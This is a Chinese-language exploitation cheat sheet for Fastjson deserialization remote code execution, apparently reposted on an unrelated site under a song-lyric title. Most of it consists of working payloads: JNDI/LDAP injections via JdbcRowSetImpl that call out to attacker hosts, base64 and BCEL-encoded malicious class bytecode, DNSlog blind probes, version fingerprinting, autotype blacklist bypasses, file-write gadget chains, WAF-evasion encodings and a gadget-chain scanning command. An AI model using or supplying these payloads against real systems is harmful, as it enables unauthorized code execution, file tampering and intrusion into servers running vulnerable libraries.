Fastjson:我一路向北,离开有你的季节

您所在的位置:网站首页 我一路向北 离开有你的季节 Fastjson:我一路向北,离开有你的季节

Fastjson:我一路向北,离开有你的季节

2024-06-08 18:35| 来源: 网络整理| 查看: 265

1. 介绍

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

Fastjson RCE关键函数:

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理TypeUtils. loadClass() 根据传入的类名,生成类的实例JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

在java审计中,需要关注的关键字:JSON.parse , JSON.parseObject , JSONObject.parse , JSONObject.parseObject , JSONObject.parseArray

涉及的涉及jar: fastjson-.jar

代码块:

JSON.parse("可控"); 2. 检测方案

上面说到漏洞触发和 setter 与 getter 有关,那么利用方式就是找那些在 setter 和 getter 中有敏感方法的类,从分析的角度来看,检测的主流方式有四种(以 1.2.24 版本为例):

JNDI 注入

原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务,而 JNDI 常用的有 RMI 和 LDAP 服务。

rmi协议:

{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://localhost:1099/POC”, “autoCommit”:true}

ldap协议:

{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://localhost:1099/POC”, “autoCommit”:true} bytesCode(TemplatesImpl)

原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码,利用条件苛刻,可用于解决不出网利用,需要调用parseObject()方法时,加入Feature.SupportNonPublicField参数。

_bytecodes要进行base64编码

[“base64_bytesCode”],’_name’:‘a.b’,’_tfactory’:{ },"_outputProperties":{ },"_name":“a”,"_version":“1.0”,“allowedProtocols”:“all”}

完整的的payload参考:

{"@type":“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,"_bytecodes":[“yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==”],"_name":“a.b”,"_tfactory":{ },"_outputProperties":{ },"_version":“1.0”,“allowedProtocols”:“all”}

DNS log

原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了。

{"@type":“java.net.InetAddress”,“val”:“example.com”}

bcel 字节码

原理是如果 classname 中包含 $$BCEL$$, 这个 ClassLoader 则会将

$$BCEL$$

后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取 Class 对象,于是我们通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。

> { > { > "x":{ > "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", > "driverClassLoader": { > "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" > }, > "driverClassName": "$$BCEL$$$l$8b$I$A$..." > } > }: "x" }

上面的四种方式综合考量下,第一种只要JNDI server 收到了 socket 连接就是漏洞存在,但是需要目标出网,第二种有限制,现实中很难看到这种情况,第三种,只需要dns出网的就行,但是利用不一定能成功,第四种在jdk版本低时可用,且应对不出网的情况,但是需要tomcat环境,切版本高了bcel被删了。

3. 区分Jackson和fastjson

由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson

如果请求包中的 json 如下:

{“name”:“S”, “age”:21}

追加一个随机 key ,修改 json 为

{“name”:“S”, “age”:21,“abc”:123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,

所以会报错,服务器的响应包中多少会有异常回显。

盲打payload

分享一个fastjson探测小tips,一般大家探测fastjson dnslog:

都是上了直接发

{"@type":“java.net.Inet4Address”,“val”:“okkkk.02e2z0.dnslog.cn”},

有时候这个并能触发dnslog,当然好一点的是

{“x”:{"@type":“java.net.Inet4Address”,“val”:“okkkk.02e2z0.dnslog.cn”}}

当然这个也是有的情况存在遗漏。

1.2.67版本前

{“zeo”:{"@type":“java.net.Inet4Address”,“val”:“c9f7jl.dnslog.cn”}}

1.2.67版本后payload

{"@type":“java.net.Inet4Address”,“val”:“dnslog”} {"@type":“java.net.Inet6Address”,“val”:“dnslog”} {"@type":“java.net.InetSocketAddress”{“address”:,“val”:“dnslog”}} {{"@type":“java.net.URL”,“val”:“http://dnslog”}:“x”}

个人建议,把一些有用的payload放在一个包里面发,先检测是否有dns请求,然后再单独发,确定是那个payload有效,例如:

{“a”:{"@type":“java.net.Inet4Address”,“val”:“scspxx.dnslog.cn”},“b”:{"@type":“java.net.Inet6Address”,“val”:“scspxx.dnslog.cn”},“c”:{"@type":“java.net.InetSocketAddress”{“address”:,“val”:“scspxx.dnslog.cn”}},“d”:{{"@type":“java.net.URL”,“val”:“http://scspxx.dnslog.cn”}:“x”},“e”:{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://scspxx.dnslog.cn”,“autoCommit”:true},“f”:{“name”:{"@type":“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”},“x”{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://scspxx.dnslog.cn”,“autoCommit”:true}}},“g”:{"@type":“javax.swing.JEditorPane”,“page”:“http://scspxx.dnslog.cn”},“h”:{"@type":“com.alibaba.fastjson.JSONObject”, {"@type": “java.net.URL”,“val”:“http://scspxx.dnslog.cn”}}""}}

测试fastjson是否存在,以下几种方式:

破坏原先的json 结构,然后看服务器返回的报错信息输入@type作为key的json数据,来看是否可以执行,比如不出网的情况下发包可能会卡住白盒情况下直接看classpath的依赖包

当然也可以直接用bcel 延时payload盲打,以下payload是延时10秒,需要注意在Java 8u251以后,bcel类被删除。 copy#commons-dbcp

{"activeLicenseId":{"x":{{"@type":"com.alibaba.fastjson.JSONObject","a":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A"}}:"b"}}} ​

#ibatis/mybatis

{ { "@type":"com.alibaba.fastjson.JSONObject", "a": { "name": {"@type": "java.lang.Class", "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}, "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader": { "key": {"@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"}, "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" } }:"b" }

#websphere

{ { "@type": "com.alibaba.fastjson.JSONObject", "a":{ "@type": "org.apache.openjpa.jdbc.schema.SimpleDriverDataSource", "_classLoader": { "@type": "com.ibm.xltxe.rnm1.xtq.bcel.util.ClassLoader" }, "_connectionDriverName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$8f$bbN$c3$40$QE$ef$84$b5$j6$86$98$Q$k$NHT$q$UDT4$R$N$C$89$87$a0H$94$de$8f$R82$8eel$c4$lQ$a7$CQ$f0$B$7c$Ubv$89$40Lqg$f7$e8$cc$8e$f6$f3$eb$fd$D$c0$R$b65$3c$b4$j$d8$da$P4$C$acy$e8xX$f7$d0$r$b8$c34O$ab$T$c2R$af$3f$n$a8$d3Y$c2$84$f6u$9a$f3M$fd$Qq9$O$a3LHs$Yg$LS$8ffu$Z$f3yj$b8$ke$cc$c5$e14$7c$K$7d4$b1$eca$c3$c7$s$b6$I$bb$86$N$b20$bf$h$5c$e4$V$97e$5dT$9c$9c$3d$c7$5cT$e9$y$t8v$94$Q$fc$89$b7$d1$94$e3$ea$l$g$df$97$i$sb$3f$fe$d8$aaw$d9$9f$60$P$ae$7c$cbT$Dd$f6Jj$b9$edH$t$e9$ce$c1$xh$$$HBK$d2$b5$d0$88$fe$afzlG$81V$X$8d7$a8$X$a8$ab$b9$F$ae$u$ceb$b0$D$r$a9$ec6C$b5$3cAX$b1$7bW$bf$B$ae3$a8$e6d$B$A$A" } }: "b" } 5. 探测目标fastjson版本

知道版本,才能更好确定使用的payload。还可以用来区分fastjson和Jackjson,fastjson探测版本,可以用错误格式的json发过去,如果对方异常未处理可报出详细版本。

探测版本原理主要是利用各个类被加入黑名单的方式进行判断。

查看版本:

{"@type":"java.lang.AutoCloseable"

dns探测版本:

copy探测版本PoC,fastjson >1.2.43

{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

fastjson >1.2.48

{"@type":"java.net.InetAddress","val":"dnslog"}

fastjson >1.2.68

{"@type":“java.net.Inet4Address”,“val”:“dnslog”} {"@type":“java.net.Inet6Address”,“val”:“dnslog”} {{"@type":“java.net.URL”,“val”:“dnslog”}:“aaa”} {"@type":“com.alibaba.fastjson.JSONObject”, {"@type": “java.net.URL”, “val”:“http://dnslog”}}""} Set[{"@type":“java.net.URL”,“val”:“http://dnslog”}] Set[{"@type":“java.net.URL”,“val”:“http://dnslog”} {"@type":“java.net.InetSocketAddress”{“address”:,“val”:“dnslog”}} {{"@type":“java.net.URL”,“val”:“http://dnslog”}:0

6. 各版本利用

除了考虑Fastjson版本,还得考虑JDK版本,中间件版本,第三方依赖版本。

JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本 "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..." } }: "x" } 版本在1.2.25-1.2.43之间

1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数,增加了黑名单和白名单,把autoTypeSupport默认为False。

1.2.25黑名单

bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework Fastjson 1.2.25-1.2.41

jndl payload:

利用条件:

需要开启autotype,类名前面加了一个L,后面加一个;可以绕过黑名单

{"@type":“Lcom.sun.rowset.JdbcRowSetImpl;”,“dataSourceName”:“ldap://localhost:1389/badNameClass”, “autoCommit”:true}

Fastjson 1.2.25-1.2.42

从1.2.42版本开始,把之前的明文黑名单,改为hash黑名单。

利用条件:

条件需要开启autotype

双写绕过

{"@type":“LLcom.sun.rowset.JdbcRowSetImpl;;”,“dataSourceName”:“ldap://localhost:1389/badNameClass”, “autoCommit”:true}

Fastjson 1.2.25-1.2.43

利用条件:

需要开启autotype

加[{绕过

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,“dataSourceName”:“ldap://localhost:1389/badNameClass”, “autoCommit”:true}

bcel-payload:

bcel-1.2.33 "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"$$BCEL..." } } : "ddd" } }

bcel-fastjson>=12.36:

当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

{ "name": { "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "y": { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"!!!Payload!!!", "$ref": "$.x.y.c.connection" } } } }

3.fastjson >1.2.43

Fastjson 1.2.25-1.2.45

利用条件需要开启autotype 1.2.45把之前问题修了,但是可以借助第三方组件绕过,需要mybatis,且版本需为3.x.x系列 "xx": { "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A" } } : "xxx" } }

bcelpayload -1.2.37 "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "x" : { "name": { "@type" : "java.lang.Class", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "y": { "@type":"com.alibaba.fastjson.JSONObject", "c": { "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName":"$$BCEL$..", "$ref": "$.x.y.c.connection" } } } }

4.fastjson >1.2.48

Fastjson1.2.50 “@type”: “java.lang.AutoCloseable”, “@type”: “com.esotericsoftware.kryo.io.Output”, “buffer”: “cHduZWQ=”, “outputStream”: { “ r e f " : " ref": " ref":".stream” }, “position”: 5 }, “close”: { “@type”: “java.lang.AutoCloseable”, “@type”: “com.sleepycat.bind.serial.SerialOutput”, “out”: { “ r e f " : " ref": " ref":".writer” } } }

写文件

{ ‘stream’: { ‘@type’:“java.lang.AutoCloseable”, ‘@type’:‘java.io.FileOutputStream’, ‘file’:’/tmp/nonexist’, ‘append’:false }, ‘writer’: { ‘@type’:“java.lang.AutoCloseable”, ‘@type’:‘org.apache.solr.common.util.FastOutputStream’, ‘tempBuffer’:‘SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=’, ‘sink’: { ‘ r e f ′ : ′ ref':' ref′:′.stream’ }, ‘start’:38 }, ‘close’: { ‘@type’:“java.lang.AutoCloseable”, ‘@type’:‘org.iq80.snappy.SnappyOutputStream’, ‘out’: { ‘ r e f ′ : ′ ref':' ref′:′.writer’ } } }

适用于jdk8/10的

{ ‘@type’:“java.lang.AutoCloseable”, ‘@type’:‘sun.rmi.server.MarshalOutputStream’, ‘out’: { ‘@type’:‘java.util.zip.InflaterOutputStream’, ‘out’: { ‘@type’:‘java.io.FileOutputStream’, ‘file’:‘dst’, ‘append’:false }, ‘infl’: { ‘input’:‘eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==’ }, ‘bufLen’:1048576 }, ‘protocolVersion’:1 }

7. bypass waf

近几年waf的是反序列化漏洞头号大敌,面对waf的封禁,我们又该何去何从勒?

利用Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等特性,并且还会自动将键与值进行unicode与十六进制解码,扩展出bypass的方法:

原生payload:

{"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true}

bypass版本

{/s6/"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true} {\n"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true} {"@type"\b:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true} {"\u0040\u0074\u0079\u0070\u0065":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true} {"\x40\x74\x79\x70\x65":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true}

可应对关键字的封禁。

同理利用特性大包绕也是可能的

{/s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6/"@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://10.251.0.111:9999”,“autoCommit”:true}

有一些waf则检测一些域名,比如dnslog的平台,这时候就可以自己搭建dnslog平台,进行测试:

需要准备:

两个域名,或者一个阿里云的域名。 vps服务器一台 DNSlog项目:

https://github.com/lanyi1998/DNSlog-GO/releases/

8. 总结

理论上,1.2.68之前的都能打死,就是看环境允不允许,因为jndi注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的,实际利用场景还得看实际的环境,多尝试一些payload是好的,在利用bcel打高版本的jdk时,需要去跑链。

测利用链:

Fastjson.LDAPRefServerAuto: 自动找寻反序列可利用的gadget(cb1,cc1-10,spring1-2,groovy1,jdk7u21)

java -cp fastjson_tool.jar fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename

filename为请求包,需要插入fastjson攻击语句的地方,用__PAYLOAD__代替,示例:

POST /fastjson_demo HTTP/1.1 Host: xx.xx.xx.xx Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Content-Type: application/json Content-Length: 165

PAYLOAD



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3